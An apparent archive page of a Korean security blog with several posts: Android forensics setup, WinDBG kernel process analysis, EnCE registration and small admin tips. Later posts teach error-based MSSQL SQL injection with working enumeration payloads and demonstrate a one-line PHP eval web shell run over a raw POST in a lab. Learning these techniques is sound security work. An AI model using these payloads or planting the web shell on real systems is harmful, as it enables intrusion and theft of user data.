안드로이드는 Linux 2.6 Kernel을 사용합니다.

2008년 10월에 처음 모바일폰이 나왔죠..  기종은 

HTC DREA100 

T-Mobile G1 

Global System for Mobile Communications(GSM)

구글의 꿈은 세계 정복이며, 그들의 야망은 정보를 대량으로 수집하는 것입니다. 

안드로이드를 Open Source로 제공하는건 위 꿈과 야망 둘 중에 하나가 일치해서가 아닐까 합니다.

--------------------------------------------------------------------------------------------------------

안드로이드 부팅 순서
1. 전원이 들어오고 boot ROM 코드가 chip에서 실행됩니다.
2. boot loader가 읽어 들이고
3. Linux kernel로 넘어 갑니다.
4. init process가 실행되고
5. Zygote와 Dalvik
6. 시스템 서버
7. 부팅이 완료!


 --------------------------------------------------------------------------------------------------------

모든 테스트는 우분트에서 진행합니다. 우분트는 아래 사이트에서 받아서 VM으로 설치하였습니다.
URL: http://www.ubuntu.com/download/ubuntu/download

우분트 설치 후, 기본적으로 사용할 도구인 Sleuth kit을 설치합니다.

그리고 포렌식 부분에서 중요하게 생각되는 automount를 비활성 시킵니다.
방법 : apps > nautilus > preferences > media_automount > uncheck

 --------------------------------------------------------------------------------------------------------

우분투에서 포렌식 테스트를 막힘없이 진행하기 위해 필요한 라이브러리와 AOSP(Android Open Source Project)를 받아서 설치하거나 저장합니다.

root@ubuntu:~# sudo add-apt-repository "deb http://archive.canonical.com/ lucid partner"

root@ubuntu:~# apt-get update
root@ubuntu:~# apt-get upgrade -u
root@ubuntu:~# sudo reboot

root@ubuntu:~#sudo apt-get install git-core gnupg flex bison gperf libsdl1.2-dev libesd0-dev libwxgtk2.6-dev squashfs-tools build-essential zip curl libncurses5-dev zlib1g-dev sun-java6-jdk pngcrush g++-multilib lib32z1-dev lib32ncurses5-dev lib32readline5-dev gcc-4.3-multilib g++-4.3-multilib

root@ubuntu:~/Desktop# mkdir -p ~/bin
root@ubuntu:~/Desktop# mkdir -p ~/android
root@ubuntu:~/Desktop# curl http://android.git.kernel.org/repo > ~/bin/repo
root@ubuntu:~/Desktop# chmod 755 ~/bin/repo 

root@ubuntu:~/android# cd ~/android/
root@ubuntu:~/android# time ~/bin/repo init -u git://android.git.kernel.org/platform/manifest.git

root@ubuntu:~/android# time ~/bin/repo sync

cd ~/android
source build/envsetup.sh
lunch
time make

--------------------------------------------------------------------------------------------------------

Linux SDK 설치

root@ubuntu:~/wget http://dl.google.com/android/android-sdk_r12-linux_x86.tgz

첨고 : 접속이 안될경우 http://developer.android.com/sdk/index.html로 들어가서 다운로드 합니다.
참고 : 리눅스가 64bit일 경우, sudo apt-get install ia32-libs로 32bit 라이브러리를 설치합니다.

- android 실행
root@ubuntu:~# tar -xvzf android-sdk_r12-linux_x86.tgz
root@ubuntu:~# cd ~/android-sdk-linux_x86/tools
root@ubuntu:~/android-sdk-linux_x86/tools# ./android

안드로이드를 실행하면, Android SKD and Android Virtual Device(AVD) manager가 실행됩니다.
available packages > SDK Platform Android 2.3, API 9, revision 1> check > install selected > Accept ALL > Install

- PATH 설정

nano -w ~/.bashrc
export PATH=$PATH:/home/dorumugs/android-sdk-linux_x86/tools/
export PATH=$PATH:/home/dorumugs/android-sdk-linux_x86/platform-tools/

- 안드로이드 USB profile생성
sudo nano -w /etc/udev/rules.d/51-android.rules
벤더사들의 ID 확인하기 위해서는 아래 URL 확인하면됩니다.
참고 : http://developer.android.com/guide/developing/device.html#VendorUds

#Acer
SUBSYSTEM=="usb", SYSFS{idVendor}=="502", MODE"0666"
#Dell
SUBSYSTEM=="usb", SYSFS{idVendor}=="413c", MODE"0666"
#Foxconn
SUBSYSTEM=="usb", SYSFS{idVendor}=="489", MODE"0666"
#Garmin-Asus
SUBSYSTEM=="usb", SYSFS{idVendor}=="091E", MODE"0666"
#HTC
SUBSYSTEM=="usb", SYSFS{idVendor}=="0bb4", MODE"0666"
#Huawei
SUBSYSTEM=="usb", SYSFS{idVendor}=="12d1", MODE"0666"
#Kyocera
SUBSYSTEM=="usb", SYSFS{idVendor}=="482", MODE"0666"
#LG
SUBSYSTEM=="usb", SYSFS{idVendor}=="1004", MODE"0666"
#Motorola
SUBSYSTEM=="usb", SYSFS{idVendor}=="22b8", MODE"0666"
#Nvidia
SUBSYSTEM=="usb", SYSFS{idVendor}=="955", MODE"0666"
#Pantech
SUBSYSTEM=="usb", SYSFS{idVendor}=="10A9", MODE"0666"
#Samsung
SUBSYSTEM=="usb", SYSFS{idVendor}=="400000000", MODE"0666
#Sharp
SUBSYSTEM=="usb", SYSFS{idVendor}=="04dd", MODE"0666"
#Sony Ericsson
SUBSYSTEM=="usb", SYSFS{idVendor}=="0fce", MODE"0666"
#ZTE
SUBSYSTEM=="usb", SYSFS{idVendor}=="19D2", MODE"0666"

- 파일 권한 변경
dorumugs@ubuntu:~$ sudo chmod a+r /etc/udev/rules.d/51-android.rules 


 --------------------------------------------------------------------------------------------------------

설치한 에뮬레이터 동작

에뮬레이터를 사용하여 기존에 모바일에서 동작하는 시스템을 그대로 구현할 수 있습니다. 

시스템을 그대로 구현하고 테스트를 진행할 수 있는 것은 포렌식에 있어서 증명할 수 있는 기회를 제공하므로

매우 중요합니다. 에뮬레이터를 동작 시켜 보도록 합니다.

dorumugs@ubuntu:~$ android (PATH를 지정하여 어디서든 실행이 가능합니다.)

 




 
에뮬레이터를 구동한 후 저장되는 디렉터리는 아래와 같습니다.
Ubuntu => /hoome/<username>/.android

구동되고 있는 에뮬에이터의 디렉터리 구조를 확인해보면 아래와 같은 디렉터리 구조를 확인 할 수 있습니다.
cache.img - 디스크의 /cache 파티션 => YAFFS2 file system
sdcard.img - SD 카드의 이미지 => fat32 file system
userdata-qemuu.img - 디스크의 /data 파티션 => YAFFS2 file system

dorumugs@ubuntu:~/.android/avd/dorumugs_test.avd$ file sdcard.img
sdcard.img: x86 boot sector, code offset 0x5a, OEM-ID "MSWIN4.1", Media descriptor 0xf8, sectors 51200 (volumes > 32 MB) , FAT (32 bit), sectors/FAT 397, reserved3 0x800000, serial number 0xd06340e, label: "     SDCARD"

dorumugs@ubuntu:~/.android/avd/dorumugs_test.avd$ file cache.img
cache.img: VMS Alpha executable

dorumugs@ubuntu:~/.android/avd/dorumugs_test.avd$ file userdata-qemu.img
userdata-qemu.img: VMS Alpha executable

 
 --------------------------------------------------------------------------------------------------------


 

'Forensics' 카테고리의 다른 글

안드로이드 포렌식 3편 Log  (2) 2011.08.14
안드로이드 포렌식 2편 adb 사용  (0) 2011.08.14
MAC live data 수집  (0) 2011.03.10
ENCE 준비 1. 시험 신청  (0) 2011.03.09
침해대응시 사용하는 스크립트 툴  (0) 2011.02.10
Posted by 도시형닌자
:

모든 테스트는 Windows xp service pack 3에서 수행되었습니다.

- winDBG download
http://msdn.microsoft.com/en-us/windows/hardware/gg463009

- winDBG symbol download
http://msdn.microsoft.com/en-us/windows/hardware/gg463028


-LiveKD download
http://technet.microsoft.com/en-us/sysinternals/bb897415

위 URL에서 테스트시 사용할 파일을 다운로드 한 후 설치하였습니다.

winDBG는 기본설정으로 설치하였으며, symbol은 c:\symbols에 설치하였습니다.


1. LiveKD
설치 후 winDBG로 커널 접근을 쉽게 도와주는 LiveKD를  사용하였습니다.

-w 옵션을 사용하여, LiveKD를 사용함과 동시에 winDBG를 사용하였습니다.

사용자 삽입 이미지








2. PROCESS 내역 보기

!process 0 0 을 사용하여 현재 동작하고 있는 프로세스 내역을 확인해 봅니다.

0: kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 825b7830  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 02b40020  ObjectTable: e1002e40  HandleCount: 264.
    Image: System

PROCESS 82429948  SessionId: none  Cid: 0220    Peb: 7ffd8000  ParentCid: 0004
    DirBase: 02b40040  ObjectTable: e14558d8  HandleCount:  19.
    Image: smss.exe

PROCESS 82446da0  SessionId: 0  Cid: 0260    Peb: 7ffd7000  ParentCid: 0220
    DirBase: 02b40060  ObjectTable: e15e3858  HandleCount: 378.
    Image: csrss.exe

PROCESS 82344020  SessionId: 0  Cid: 0278    Peb: 7ffd8000  ParentCid: 0220
    DirBase: 02b40080  ObjectTable: e14f2590  HandleCount: 460.
    Image: winlogon.exe

PROCESS 8242f6e8  SessionId: 0  Cid: 02a4    Peb: 7ffdb000  ParentCid: 0278
    DirBase: 02b400a0  ObjectTable: e17ac350  HandleCount: 261.
    Image: services.exe

PROCESS 82449b88  SessionId: 0  Cid: 02b0    Peb: 7ffd7000  ParentCid: 0278
    DirBase: 02b400c0  ObjectTable: e17a6dd0  HandleCount: 349.
    Image: lsass.exe



3. 프로세스 링크 따라가기

작업관리자 -> 프로세스에서 확인되는 프로세스를 winDBG로 따라 들어 가보겠습니다.

0: kd> dt _EPROCESS 8238ea00
   +0x174 ImageFileName    : [16]  "cmd.exe"

   +0x088 ActiveProcessLinks : _LIST_ENTRY [ 0x821dc0a8 - 0x81f03658 ]


0: kd> dd 8238ea00+0x088
8238ea88  821dc0a8 81f03658
                  FLINK       BLINK


0: kd> dt _EPROCESS 81f03658-0x88
   +0x174 ImageFileName    : [16]  "AYServiceNT.aye"

   +0x088 ActiveProcessLinks : _LIST_ENTRY [ 0x8238ea88 - 0x82366280 ]



4. 프로세스 특징

윈도우는 Memory Pool에 8바이트 단위로 메모리를 할당합니다. Memory Pool에는 Ethread와 Eprocess와 같은 커널 오브젝트가 존재합니다.


- Pool_Header
메모리 풀에 할당된 메모리 블록은 관리를 위한 자료구조인 Pool_Header를 포함합니다.


- windbg에서
dt _POOL_HEADER 를 확인하면 0x004 offset에 PoolTag가 있습니다.


4-1. _POOL_HEADER에서 확인된 주소가 process와 thread를 담고있으면 0xe36f7250, 0xe5726854값을 가지게 됩니다.


PROCESS 82283370  SessionId: 0  Cid: 0574    Peb: 7ffde000  ParentCid: 0638
    DirBase: 02b403a0  ObjectTable: e1624420  HandleCount:  56.
    Image: notepad.exe


0: kd> dt _POOL_HEADER 82283370-0x18-0x8
nt!_POOL_HEADER
   +0x000 PreviousSize     : 0y000000001 (0x1)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y001010000 (0x50)
   +0x002 PoolType         : 0y0000101 (0x5)
   +0x000 Ulong1           : 0xa500001
   +0x004 ProcessBilled    : 0xe36f7250 _EPROCESS
   +0x004 PoolTag          : 0xe36f7250
   +0x004 AllocatorBackTraceIndex : 0x7250
   +0x006 PoolTagHash      : 0xe36f


4-2. Object_Header
Object_HEADER는 Type필드를 가지고 있으면 오브젝트에 대한 일반적인 속성을 담고 있습니다. 해당 값이 프로세스일 경우 PsProcessType과 같거나 0xbad040값을 갖습니다.

PROCESS 82283370  SessionId: 0  Cid: 0574    Peb: 7ffde000  ParentCid: 0638
    DirBase: 02b403a0  ObjectTable: e1624420  HandleCount:  56.
    Image: notepad.exe

0: kd> !object 82283370
Object: 82283370  Type: (825b7e70) Process
    ObjectHeader: 82283358 (old version)
    HandleCount: 2  PointerCount: 17

0: kd> dd PsProcessType L1
805659b8  825b7e70



4-3. DISPATCHER_HEADER
Eprocess구조체 가장 앞부분에 존재하는 DISPATCHER_HEADER의 type과 size를 확인해보면, 프로세스의 경우 type은 0x3 size는 0x1b라는 것을 알 수 있습니다.


PROCESS 82283370  SessionId: 0  Cid: 0574    Peb: 7ffde000  ParentCid: 0638
    DirBase: 02b403a0  ObjectTable: e1624420  HandleCount:  56.
    Image: notepad.exe


0: kd> dt _DISPATCHER_HEADER 82283370
ntdll!_DISPATCHER_HEADER
   +0x000 Type             : 0x3 ''
   +0x001 Absolute         : 0 ''
   +0x002 Size             : 0x1b ''
   +0x003 Inserted         : 0 ''
   +0x004 SignalState      : 0
   +0x008 WaitListHead     : _LIST_ENTRY [ 0x82283378 - 0x82283378 ]



'Header 가지고 놀기' 카테고리의 다른 글

PE구조 알아보자  (0) 2011.02.10
Prefetch Header 분석  (4) 2010.01.08
Thumbs.db을 통한 사진파일 복구  (3) 2009.09.02
Posted by 도시형닌자
:

MAC live data 수집

Forensics 2011. 3. 10. 10:55 |
이번달에도 회사에서 월간 "안"이 발간되었다. 나는 맥 포렉식 2회를 썼으며 그 내용은
MAC live data 수집이였다. evernote에서 그림파일로 따와서 붙여넣는다

사용자 삽입 이미지
Posted by 도시형닌자
:
1. guidancesoftware.com 에 방문 하여 EnCE Application을 내려 받습니다.
http://www.guidancesoftware.com/computer-forensics-training-ence-certification.htm
위 페이지에 접근하면 아래와 같은 페이지가 나오며 2번에서 application을 다운로드 합니다.
시험은 인증받은 곳에서 ENCE 교욱을 받은자와 forensics 업무 12개월 이상 수행한 자에게 제공됩니다.

사용자 삽입 이미지




2. 12개월 경력 인정받은자
본인은 경력을 인정받아 시험을 준비하므로 아래와 같이 기입한 후 아래 메일로 발송하였습니다.
Certification <certification@guidancesoftware.com>

기입내용은 아래와 같습니다.(주소 및 경력 내용을 영어로 기입합니다)

사용자 삽입 이미지

사용자 삽입 이미지

빨간색으로 표시된 부분만 기입하여 메일로 보내었습니다.

3. 기입한 email로 받은 답변
첨부파일로 제공되는 내용을 바탕으로 금액을 결제할 경우, 시험에 응시할 수 있다는 메일을 받게 됩니다.

사용자 삽입 이미지



4. 시험비 결제
금년에 시험이 225$로 할인되었으며, 카드번호, 보안코드, 이름을 보내면 됩니다.

prometric이 아니고~ 시험은 EXAMBUILDER로 진행되며, 결제가 완료되면, 30정도의 기한이 정해집니다.


Posted by 도시형닌자
:
가끔 사용자들은 윈도우에서 스크립트 파일을 만든 후 리눅스에 가져가서

아....  실행이 안되....  라고 말씀하시는 분들 꽤 있다.

그 이유 중 하나는 ^M 때문!!!!!

없애 보자 ^^

1. perl을 사용

# perl -i -pe 's/\015//g' *.sh


2. vim을 사용해
:set fileformat =unix
or
:set ff=unix

fileformat과 ff는 같은 말이다


3. 그 외 툴
dos2unix 문서명

여러 파일을 하고 싶을 때는 문서명에 *.sh라고 하면 된다

반대로

unix2dos를 사용하면 ^m이 생긴다.

'O.S & Script & Programming' 카테고리의 다른 글

배치 파일 가지고 놀기  (0) 2012.05.14
윈도우 부팅 순서  (0) 2012.05.14
SQL Injetion을 해보자  (0) 2011.02.10
한 줄짜리 웹쉘의 사용법  (0) 2011.02.10
Posted by 도시형닌자
:
wireshark를 사용하는 사용자들은 가끔 wireshark 필터 조건이 까다롭다고 하시는 분을 꽤 봤다.

하지만 그 이유를 한방에 풀어줄 수 있는 열쇠는 아래의 그림과 같다.

파싱해주는 창에서 필터 걸고 싶은 곳에서 마우스 우클릭! 후 아래같이 필터건다. 끝!!!
사용자 삽입 이미지



'Networks' 카테고리의 다른 글

데이터 전송기술에 따른 전송속도 비교  (0) 2011.01.18
Colasoft packet Builder  (1) 2010.05.04
Posted by 도시형닌자
:

침해대응하러 가면, 항상 스크립트를 가장 먼저 돌려서 여러 정보를 가져온 후 분석을 진행한다.

여기 저기서 사용하는 툴을 모아서 만든 스크립트로 만들었는데 나름 사용이 간편하다.

압축해서 10메가가 안되므로 살짝꿍 올려본다.

사용자 삽입 이미지

결과는 아래와 같다.
사용자 삽입 이미지





사실.....  내가 USB에 담아오지 않고 분석을 할때, 필요할까봐 올렸다.

끝으로 잇힝~



'Forensics' 카테고리의 다른 글

MAC live data 수집  (0) 2011.03.10
ENCE 준비 1. 시험 신청  (0) 2011.03.09
HFS+ 파일을 이미지에서 복구해보자  (2) 2011.02.10
x-way forensic으로 파일 복구하기  (0) 2010.09.24
정규표현식 2회  (0) 2010.04.05
Posted by 도시형닌자
:
예전에 두목님한테 가르침을 전수받은 그대로를 다시 재구성해 보았다.

좋다! 그럼 PE를 알아보자!

역시 귀찮아서 Onenote 내용을 evernote에 붙여서 그림으로 만든 후 가져다 붙였다.


사용자 삽입 이미지
Posted by 도시형닌자
:

SQL Injection을 파해쳐 보자
일반적으로 bypass를 써서 성공하게 되면, SQL Injection이 가능하다라고 생각 한다.
그 외 '(싱글쿼터)로 데이터 베이스 에러가 발생하면 가능도 하지 않을까 라고 생각 한다.
그렇게 해서 해보면 어느정도는 SQL Injection으로 원하는 결과를 얻기도 한다.

먼저 bypass와 주석에 대해서 알아보자

1. bypass 와 주석
 아래의 bypass를 사용해서 로그인이 되거나 데이터 베이스 에러가 확인 될 경우, 취약하다는 가정을 갖게된다.

사용자 삽입 이미지

MSSQL은 주석을 -- 를 사용하며, MYSQL은 #을 사용한다.

Oracle 확인 방법은
AND 'abcd' = 'ab' + 'cd' 가 참이면 Oracle이 아니고
AND 'abcd' = 'ab' || 'cd'가 참이면  Oracle이 된다.


2. error base SQL Injection
SQL  Injection 종류에서 error base가 가장 대표적이라고 말할 수 있다. 사용자가 사용한 잘못된 SQL 구문으로
 웹페이지에서 에러를 도출 시키는 방법을 error base SQL Injection이라 한다.

일반적으로 브라우져가 보여주는 500 error를 DB error라고 한다.


3. DB 정보 알아내기
'and db_name() < 1 --
 
사용자 삽입 이미지

위와 같이 사용될 경우 db_name()이 정수형이 아닌 관계로 "<" 연산을 받아 들이지 못합니다.
이러한 이유로 인해 아래와 같은 오류 구문을 볼 수 있다.
사용자 삽입 이미지

오류가 발생하여 wizmall이라는 데이터베이스 이름을 알게되었다.


4. 그 외 SQL Injection에서 사용되는 것

1' HAVING 1=1 --
Having 은 첫번째 그룹된 값의 조건을 받아 주는데, 그룹이나 집계된 내역이 존재하지 않아 column 값을 에러로 보여준다.
사용자 삽입 이미지


1' GROUP BY m.mid HAVING 1=1 --
다음 컬럼을 확인하는데 사용됩니다. 위와 다르게 GROUP BY를 사용하여 1번에서 도출된(위의 HAVING) 값을 넣어준다.

사용자 삽입 이미지


1' GROUP BY m.mid m.mpwd HAVING 1=1 --
그 다음 column 값 확인

1' and 1=convert(int,db_name()) --
convert함수를 사용하여 형변환을 일으켜서 DB이름을 알아낸다.

사용자 삽입 이미지


1' and 1=convert(int,user_name())--
사용자 이름 알아내기

1' and 1=convert(int,(select top 1 table_name from information_schema.tables))--
테이블 정보 알아내기

1' and 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('wiztable_board_config')))--
다음 테이블 정보 알아내기


1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers')) --
컬럼 값 알아내기

1' and 1=convert(int,(select top 1 column_name from information_schema.columns where table_name = 'wizmembers' and column_name not in ('uid'))) --
다음 컬럼 값 알아내기

1' and 1=convert(int,(select top 1 mid from wizmembers)) --
사용자 정보 알아내기

1' and 1=convert(int,@@version) --
버전 알아내기

음...  그외 Union select로 알아보기는 다음에 해야지 잇힝~












'O.S & Script & Programming' 카테고리의 다른 글

배치 파일 가지고 놀기  (0) 2012.05.14
윈도우 부팅 순서  (0) 2012.05.14
리눅스에서 ^m 없애기  (0) 2011.02.10
한 줄짜리 웹쉘의 사용법  (0) 2011.02.10
Posted by 도시형닌자
:
한줄 짜리 웹쉘은 아래처럼 생겼다.

<?php eval($_POST[cmd])?>

참 실행시키고 싶은 욕망이 불러져 온다.

먼저 eval 이라는 녀석은 eval ( string code_str) 이렇게 사용이 되며,

간단하게 string code를 파라미터로 받아서 php 코드에서 명령어를 수행할 수 있는 녀석으로

생각하면 된다.

그리하여 실행해 보았다.

Webserver : 192.168.137.100:80

공격 수행 :
1. telnet 192.168.137.100 80
2. 헤더 + 한줄 + cmd=exec("mkdir MakeDirTest");

헤더 다음에 한줄은 method가 POST이므로 꼭 필요하다.
사용자 삽입 이미지
그럼 200 ok가 떨어진다

공격 수행 후 확인해 보면 정확히 MakeDirTest라는 폴더가 Web_root에 만들어 진것을 확인할 수 있다.

'O.S & Script & Programming' 카테고리의 다른 글

배치 파일 가지고 놀기  (0) 2012.05.14
윈도우 부팅 순서  (0) 2012.05.14
리눅스에서 ^m 없애기  (0) 2011.02.10
SQL Injetion을 해보자  (0) 2011.02.10
Posted by 도시형닌자
: